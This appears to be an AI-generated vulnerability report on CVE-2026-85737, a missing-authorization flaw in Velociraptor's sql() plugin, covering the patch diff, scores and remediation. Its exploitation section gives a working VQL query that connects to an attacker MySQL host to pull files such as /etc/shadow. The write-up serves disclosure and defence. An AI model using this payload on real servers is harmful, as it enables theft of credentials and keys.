CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-85737

CVE-2026-85737: Missing Authorization and Arbitrary File Disclosure in Velocidex Velociraptor sql() VQL Plugin

Alon Barad
Alon Barad
Software Engineer

Nov 10, 2026·8 min read·3 visits

Executive Summary (TL;DR)

Velociraptor prior to 0.77.2 fails to enforce FILESYSTEM_READ and NETWORK ACL checks in the sql() VQL plugin. Authenticated users holding ANY_QUERY permissions can initiate outbound connections to a rogue MySQL server and exploit the MySQL LOCAL INFILE protocol feature to exfiltrate arbitrary files from the Velociraptor server.

An authorization bypass vulnerability in Velocidex Velociraptor versions prior to 0.77.2 allows authenticated users with low-privilege query permissions to bypass access controls in the sql() VQL plugin. By supplying crafted MySQL connection strings pointing to an attacker-controlled rogue MySQL server with local-infile enabled, an attacker can read arbitrary files from the Velociraptor server host filesystem with the privileges of the server process.

Vulnerability Overview

Velocidex Velociraptor is an endpoint visibility, digital forensics, and incident response (DFIR) platform. It utilizes the Velociraptor Query Language (VQL) to query host state, parse forensic artifacts, and manage server operations. VQL functionality is extensible via built-in plugins that interact with local filesystems, operating system APIs, and external network services.

To enforce multi-tenant role-based access control (RBAC), Velociraptor implements a granular permission model within its VQL execution subsystem. Individual VQL plugins are required to validate the caller's execution scope against fine-grained Access Control List (ACL) flags—such as acls.FILESYSTEM_READ, acls.NETWORK, and acls.EXECVE—prior to performing sensitive host or network operations.

In Velociraptor versions prior to 0.77.2, the sql() VQL plugin (vql/parsers/sql/sql.go) contains a missing authorization vulnerability classified under CWE-862. Specifically, the SQLPlugin.Call method fails to invoke vql_subsystem.CheckAccess() to verify acls.FILESYSTEM_READ and acls.NETWORK permissions before opening database handles via Go's database/sql package.

Consequently, an authenticated analyst holding only basic query execution rights (ANY_QUERY) can invoke the sql() plugin with arbitrary database drivers and connection strings. When paired with the mysql driver and an attacker-controlled MySQL server, this flaw allows the attacker to read arbitrary files from the Velociraptor server host filesystem via the MySQL LOAD DATA LOCAL INFILE protocol mechanism.

Root Cause Analysis

The root cause of CVE-2026-85737 stems from two distinct omissions in the implementation of the sql() VQL plugin within vql/parsers/sql/sql.go: incomplete plugin metadata registration and the absence of runtime ACL verification across database driver execution branches.

First, in SQLPlugin.Info(), the plugin registered its required permissions metadata using only acls.FILESYSTEM_READ. It omitted the acls.NETWORK permission flag entirely, despite the plugin explicitly supporting network-based database drivers (mysql and postgres). While Info() provides metadata for VQL introspection and documentation, actual security enforcement relies on explicit checks inside the plugin's Call() method.

Second, during query execution, SQLPlugin.Call() switches on the user-supplied arg.Driver parameter to initialize a database connection handle. In the mysql and postgres case branch, the function directly passed the caller-controlled arg.ConnString to self.GetHandleOther(scope, arg.ConnString, arg.Driver), which subsequently called sql.Open(arg.Driver, arg.ConnString) without verifying whether the caller possessed acls.FILESYSTEM_READ or acls.NETWORK permissions.

Similarly, the sqlite driver branch relied entirely on the underlying virtual filesystem data accessor to check permissions rather than enforcing acls.FILESYSTEM_READ at the plugin entry point. If a low-privilege user holding ANY_QUERY specified a zero-permission data accessor alongside SQLite's ATTACH DATABASE syntax, they could bypass intended file access restrictions and create or manipulate local database files.

Code Analysis

The vulnerability was remediated in commit d7de958e846d3742a7a3a8538fd463e4f12fc528 (and synchronized in f25390f8fbd00c888f0b7aaba2c061a51c3f7082 via Pull Request #4952). The patch modifies vql/parsers/sql/sql.go to enforce runtime authorization checks prior to initializing database handles and updates the plugin metadata definition.

diff --git a/vql/parsers/sql/sql.go b/vql/parsers/sql/sql.go
index c1eeb879549..5bfcc42ae1a 100644
--- a/vql/parsers/sql/sql.go
+++ b/vql/parsers/sql/sql.go
@@ -119,6 +119,11 @@ func (self SQLPlugin) Call(
 			return
 
 		case "sqlite":
+			// Enforce FILESYSTEM_READ at the plugin boundary before invoking GetHandleSqlite
+			err := vql_subsystem.CheckAccess(scope, acls.FILESYSTEM_READ)
+			if err != nil {
+				scope.Log("sql: %v", err)
+				return
+			}
 			handle, err = GetHandleSqlite(ctx, arg, scope)
 			if err == notValidDatabase {
 				return
@@ -130,6 +135,15 @@ func (self SQLPlugin) Call(
 			}
 
 		case "mysql", "postgres":
+			// Enforce both FILESYSTEM_READ and NETWORK permissions before opening remote DB connections
+			err := vql_subsystem.CheckAccess(scope,
+				acls.FILESYSTEM_READ,
+				acls.NETWORK,
+			)
+			if err != nil {
+				scope.Log("sql: %v", err)
+				return
+			}
+
 			handle, err = self.GetHandleOther(scope, arg.ConnString, arg.Driver)
 			if err != nil {
 				scope.Log("sql: %s", err)
@@ -213,10 +227,11 @@ func (self SQLPlugin) Call(
 
 func (self SQLPlugin) Info(scope vfilter.Scope, type_map *vfilter.TypeMap) *vfilter.PluginInfo {
 	return &vfilter.PluginInfo{
-		Name:     "sql",
-		Doc:      "Run queries against sqlite, mysql, and postgres databases",
-		ArgType:  type_map.AddType(scope, &SQLPluginArgs{}),
-		Metadata: vql_subsystem.VQLMetadata().Permissions(acls.FILESYSTEM_READ).Build(),
+		Name:    "sql",
+		Doc:     "Run queries against sqlite, mysql, and postgres databases",
+		ArgType: type_map.AddType(scope, &SQLPluginArgs{}),
+		Metadata: vql_subsystem.VQLMetadata().Permissions(
+			acls.FILESYSTEM_READ, acls.NETWORK).Build(),
 	}
 }

In the patched version of SQLPlugin.Call, execution of the sqlite branch immediately invokes vql_subsystem.CheckAccess(scope, acls.FILESYSTEM_READ). If the caller's scope lacks this permission, the error is logged to the VQL scope and the plugin terminates execution before GetHandleSqlite is called.

In the mysql and postgres branch, vql_subsystem.CheckAccess(scope, acls.FILESYSTEM_READ, acls.NETWORK) is called. Requiring acls.FILESYSTEM_READ in addition to acls.NETWORK for remote database drivers specifically accounts for driver-level features (such as MySQL's allowAllFiles=true or PostgreSQL client file operations) that interact with the local client filesystem.

The fix is complete with respect to the authorization bypass in SQLPlugin.Call. By gating all driver branches behind vql_subsystem.CheckAccess, low-privilege users holding only ANY_QUERY are blocked from reaching GetHandleSqlite or GetHandleOther unless explicitly granted FILESYSTEM_READ and NETWORK capabilities by an administrator.

Exploitation

Exploiting CVE-2026-85737 to achieve arbitrary file disclosure requires two prerequisites: an authenticated Velociraptor user account with basic query privileges (ANY_QUERY) and network egress from the Velociraptor server to an attacker-controlled host.

The primary exploitation vector leverages the MySQL client protocol's LOAD DATA LOCAL INFILE capability as implemented in the Go go-sql-driver/mysql package. In the MySQL protocol, when a client issues a query to a server, the server can respond with a LOCAL INFILE request packet containing a filename. If the client driver has local file loading enabled, the client reads the requested file from its local filesystem and transmits the contents to the MySQL server.

While go-sql-driver/mysql disables arbitrary local file access by default unless specific files are registered, it exposes a connection string DSN parameter named allowAllFiles=true. Because SQLPlugin.Call passes the user-supplied connstring parameter directly to the driver without sanitization or ACL checks, an attacker can enable allowAllFiles=true in their VQL query.

To execute the attack, the adversary stands up a rogue MySQL server configured to respond to incoming authentication handshakes and initial queries with a FB (LOCAL_INFILE_Request) packet specifying a target file path (e.g., /etc/shadow or /etc/velociraptor/server.config.yaml). The attacker then submits the following VQL query to the Velociraptor server:

SELECT * FROM sql(
  driver="mysql",
  connstring="attacker:password@tcp(198.51.100.10:3306)/db?allowAllFiles=true",
  query="SELECT 1"
)

Upon executing the query, the Velociraptor server initiates an outbound TCP connection to 198.51.100.10:3306, authenticates, and sends SELECT 1. The rogue MySQL server replies with the LOCAL INFILE packet targeting a local file. Because allowAllFiles=true is active in the DSN, the Go MySQL driver reads the file from the Velociraptor host using the OS permissions of the Velociraptor server process and sends the raw file data back to the attacker.

Impact Assessment

CVE-2026-85737 is rated with a CVSS v3.1 base score of 6.5 (Medium) with the vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N. The Attack Vector is Network (AV:N) with Low Attack Complexity (AC:L), requiring Low Privileges (PR:L) and No User Interaction (UI:N). The impact is strictly concentrated on Confidentiality (C:H), with no direct impact to Integrity (I:N) or Availability (A:N) via the file read vector.

Despite the Medium base score, the practical security impact inside a Velociraptor deployment is significant due to the architecture of the platform. Velociraptor server daemons frequently run as root on Linux or NT AUTHORITY\SYSTEM on Windows. Consequently, an arbitrary file read primitive executing in the context of the server process grants complete read access to the entire host filesystem.

An attacker exploiting this vulnerability can read the Velociraptor server.config.yaml file. This configuration file contains internal CA private keys, frontend TLS certificates, administrator password hashes, OAuth client secrets, and datastore encryption keys. Extracting these credentials allows an attacker with a low-privilege analyst role (ANY_QUERY) to escalate privileges to full Velociraptor server administrator (ADMINISTRATOR), and subsequently execute arbitrary commands across all connected enterprise endpoints.

Regarding threat intelligence and active exploitation, the Exploit Prediction Scoring System (EPSS) assigns CVE-2026-85737 a score of 0.00238 (0.24%), placing it in the 14.97th percentile. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, and no weaponized exploit campaigns have been observed in the wild.

Remediation

Organizations running Velocidex Velociraptor should upgrade their server installations to version 0.77.2 or later. Version 0.77.2 incorporates the access control fixes from Pull Request #4952, ensuring that sql() plugin invocations validate acls.FILESYSTEM_READ and acls.NETWORK before opening database handles.

> [!NOTE] > Upgrading the Velociraptor server binary is sufficient to remediate the server-side authorization bypass; endpoint client binaries do not need to be redeployed solely to protect the central server from analyst query abuse.

For environments where an immediate upgrade to version 0.77.2 is not operationally feasible, administrators can disable the vulnerable plugin entirely via the server configuration file (server.config.yaml). Adding sql to the security.denied_plugins list prevents any VQL query from invoking the plugin:

security:
  denied_plugins:
    - sql

In addition to application-level controls, defense-in-depth measures should be applied at the host and network layers. Administrators should configure host-based firewalls or network security groups to block arbitrary outbound TCP connections originating from the Velociraptor server, specifically restricting egress to external database ports such as TCP 3306 (MySQL) and TCP 5432 (PostgreSQL). Furthermore, the Velociraptor server daemon should be configured to run under a dedicated, unprivileged service account rather than root or SYSTEM to limit the scope of filesystem exposure.

Official Patches

VelocidexVelociraptor Release v0.77.2
VelocidexPull Request #4952 (Sync 0.77.2)
VelocidexGitHub Security Advisory GHSA-9qq5-422f-33c2

Fix Analysis (2)

Technical Appendix

CVSS Score
6.5/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Probability
0.24%
Top 85% most exploited

Affected Systems

Velocidex Velociraptor

Affected Versions Detail

Product
Affected Versions
Fixed Version
Velociraptor
Velocidex
< 0.77.20.77.2
AttributeDetail
Vulnerability TypeCWE-862: Missing Authorization
Affected Componentvql/parsers/sql/sql.go (SQLPlugin.Call)
Attack VectorNetwork (Authenticated VQL Query with ANY_QUERY)
CVSS v3.1 Score6.5 Medium (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)
EPSS Score0.24% (14.97th Percentile)
Primary ImpactArbitrary Server File Read via MySQL LOCAL INFILE
Exploit StatusNo known public exploits or active exploitation
Patched VersionVelociraptor 0.77.2

MITRE ATT&CK Mapping

T1068Exploitation for Privilege Escalation
Privilege Escalation
T1005Data from Local System
Collection
T1083File and Directory Discovery
Discovery
T1552Unsecured Credentials
Credential Access
CWE-862
Missing Authorization

The software does not perform an authorization check when an actor attempts to access a resource or perform an action.

Vulnerability Timeline

Fix commits d7de958e846d3742a7a3a8538fd463e4f12fc528 and f25390f8fbd00c888f0b7aaba2c061a51c3f7082 merged via Pull Request #4952
2026-07-18
GitHub Security Advisory GHSA-9qq5-422f-33c2 published
2026-11-06
CVE-2026-85737 assigned and published in the National Vulnerability Database (NVD)
2026-11-06
EPSS scores calculated and cataloged
2026-11-09

References & Sources

  • [1]GitHub Security Advisory GHSA-9qq5-422f-33c2
  • [2]NVD Vulnerability Detail: CVE-2026-85737
  • [3]CVE.org Record: CVE-2026-85737
  • [4]Velociraptor Pull Request #4952 (Sync 0.77.2)
  • [5]Fix Commit d7de958e846d3742a7a3a8538fd463e4f12fc528
  • [6]Fix Commit f25390f8fbd00c888f0b7aaba2c061a51c3f7082
  • [7]Velociraptor Release v0.77.2
  • [8]CVEListV5 JSON Record for CVE-2026-85737
  • [9]CISA Known Exploited Vulnerabilities Catalog

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•42 minutes ago•CVE-2026-77596
9.6

CVE-2026-77596: Cross-Tenant Authorization Bypass in Kubeflow Pipelines Upload API

CVE-2026-77596 is an authorization bypass vulnerability in the Kubeflow Pipelines API server affecting multi-user deployments prior to version 2.18.0. The HTTP multipart upload handlers prematurely terminate authorization checks and return success when the target namespace parameter is empty or omitted. Because the default configuration allows pipelines without namespaces to function as cluster-wide shared resources, any low-privileged tenant can create shared pipelines or inject arbitrary pipeline versions into existing shared pipelines without undergoing Kubernetes SubjectAccessReview validation. When other tenants execute unpinned recurring runs tracking these shared pipelines, the attacker-supplied workload runs inside the victim tenant's namespace using the victim's service account credentials.

Alon Barad
Alon Barad
2 views•10 min read
•about 3 hours ago•CVE-2026-97705
7.5

CVE-2026-97705: Unauthenticated Denial of Service in Moleculer TCP Transporter Packet Parser

CVE-2026-97705 (GHSA-h89v-g948-47vp) is a high-severity unauthenticated Denial of Service (DoS) vulnerability affecting the Moleculer microservices framework for Node.js in versions prior to 0.14.36 and 0.15.2. The vulnerability resides in the internal TCP transporter packet parser (`src/transporters/tcp/parser.js`), which decodes the 4-byte packet length field as a signed 32-bit integer using `Buffer.prototype.readInt32BE()`. An unauthenticated attacker with network access to an exposed TCP transporter port can transmit a single malformed packet containing a negative length value or a positive length value less than the 6-byte header size. Due to how Node.js `Buffer.prototype.slice()` processes negative or sub-header offsets, the parser fails to advance the incoming buffer cursor while remaining inside a synchronous `while (packet.length > 0)` loop. Because Node.js relies on a single-threaded event loop, this infinite loop permanently blocks execution, freezing all services and endpoints within the affected process until manual intervention.

Amit Schendel
Amit Schendel
3 views•10 min read
•about 4 hours ago•CVE-2026-108262
6.5

CVE-2026-108262: Arbitrary Host File Overwrite via Tar Symlink Traversal in DDEV

CVE-2026-108262 (GHSA-9hq4-hm3j-jmph) is a path traversal and arbitrary file overwrite vulnerability in the tar archive extraction routine of DDEV versions 1.25.2 and 1.25.3. Resulting from an incomplete fix for CVE-2026-32885, the Untar function in pkg/archive/archive.go validates absolute symbolic link targets by rebasing them against the extraction destination directory, but subsequently creates the symbolic link on disk using the raw, unvalidated absolute path. When subsequent entries in the archive write through the planted symbolic link, the host operating system resolves the link directly to the host filesystem, allowing an attacker to overwrite arbitrary files with the privileges of the user executing DDEV.

Amit Schendel
Amit Schendel
5 views•10 min read
•about 5 hours ago•CVE-2026-119298
4.2

CVE-2026-119298: Overwrite Confirmation Bypass in schollz/croc via Unvalidated Text Artifact Prefix

CVE-2026-119298 (GHSA-x89h-7h96-v88f) is a file overwrite confirmation bypass vulnerability in schollz/croc prior to version 11.5.2. The receive-side file validation logic in src/croc/croc.go improperly exempted any incoming file whose basename began with the prefix 'croc-stdin-' from interactive overwrite prompts and automatic collision renaming, failing to verify if the transfer session was actually an internal text transfer. An unauthenticated remote peer participating in a transfer session can exploit this flaw to silently overwrite, truncate, or replace matching pre-existing files in the receiver's working directory.

Amit Schendel
Amit Schendel
4 views•9 min read
•about 6 hours ago•CVE-2026-88968
7.7

CVE-2026-88968: TOCTOU Race Condition in Claude Code Edit Tool Allows Arbitrary File Overwrite

Claude Code prior to version 2.1.251 contains a Time-of-Check to Time-of-Use (TOCTOU) race condition in its internal file manipulation tools (Edit, Write, Read). Because path validation was performed using string-based pathname and symbolic link resolution without binding to the underlying directory inodes or open file descriptors, a process running concurrently inside the macOS Bash sandbox can atomically replace an in-workspace directory with a symbolic link after validation passes. This causes the unsandboxed main process to follow the symlink and overwrite user-writable files outside the permitted workspace boundary.

Alon Barad
Alon Barad
5 views•9 min read
•about 7 hours ago•CVE-2026-88982
5.4

CVE-2026-88982: Cross-Tenant Execution Cache Poisoning and Output Substitution in Kubeflow Pipelines

CVE-2026-88982 (GHSA-2xwh-426q-42c5) is an authorization bypass and data integrity vulnerability affecting Kubeflow Pipelines versions prior to 2.18.0. The flaw resides in the legacy V1 and raw-Argo execution caching mutating admission webhook and the associated cache-server storage backend. In multi-tenant deployments where namespaces share a centralized cache service, execution cache keys were derived solely from container specification fields without incorporating the workload's Kubernetes namespace. Additionally, the cache watcher trusted mutable pod annotations when persisting execution outputs. Consequently, an authenticated user with workload submission privileges in one tenant namespace can poison cached step outputs consumed by other tenants or read cached outputs generated by workloads in separate namespaces.

Amit Schendel
Amit Schendel
8 views•12 min read